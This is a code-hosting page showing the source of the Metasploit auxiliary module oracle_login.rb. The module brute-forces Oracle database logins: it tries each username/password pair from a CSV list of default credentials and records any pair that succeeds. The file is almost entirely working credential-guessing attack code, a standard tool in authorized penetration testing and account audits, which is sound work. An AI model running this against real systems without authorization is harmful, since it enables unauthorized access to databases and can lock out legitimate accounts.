Path: blob/master/modules/auxiliary/admin/oracle/oracle_login.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'csv'67class MetasploitModule < Msf::Auxiliary8include Msf::Auxiliary::Report9include Msf::Exploit::ORACLE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Account Discovery',16'Description' => %q{17This module uses a list of well known default authentication credentials18to discover easily guessed accounts.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ],24[ 'URL', 'https://seclists.org/fulldisclosure/2009/Oct/261' ],25],26'DisclosureDate' => '2008-11-20',27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS],30'Reliability' => []31}32)33)3435register_options(36[37OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),38]39)4041deregister_options('DBUSER', 'DBPASS')42end4344def report_cred(opts)45service_data = {46address: opts[:ip],47port: opts[:port],48service_name: opts[:service_name],49protocol: 'tcp',50workspace_id: myworkspace_id51}5253credential_data = {54origin_type: :service,55module_fullname: fullname,56username: opts[:user],57private_data: opts[:password],58private_type: :password59}.merge(service_data)6061login_data = {62last_attempted_at: Time.now,63core: create_credential(credential_data),64status: Metasploit::Model::Login::Status::SUCCESSFUL65}.merge(service_data)6667create_credential_login(login_data)68end6970def run71return if !check_dependencies7273list = datastore['CSVFILE']7475print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")7677CSV.foreach(list) do |brute|78datastore['DBUSER'] = brute[2].downcase79datastore['DBPASS'] = brute[3].downcase8081begin82connect83disconnect84rescue ::OCIError => e85if e.to_s =~ /^ORA-12170:\s/86print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")87break88else89vprint_error("#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e})")90end91else92report_cred(93ip: datastore['RHOST'],94port: datastore['RPORT'],95service_name: 'oracle',96user: "#{datastore['SID']}/#{datastore['DBUSER']}",97password: datastore['DBPASS']98)99print_good("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")100end101end102end103end104105106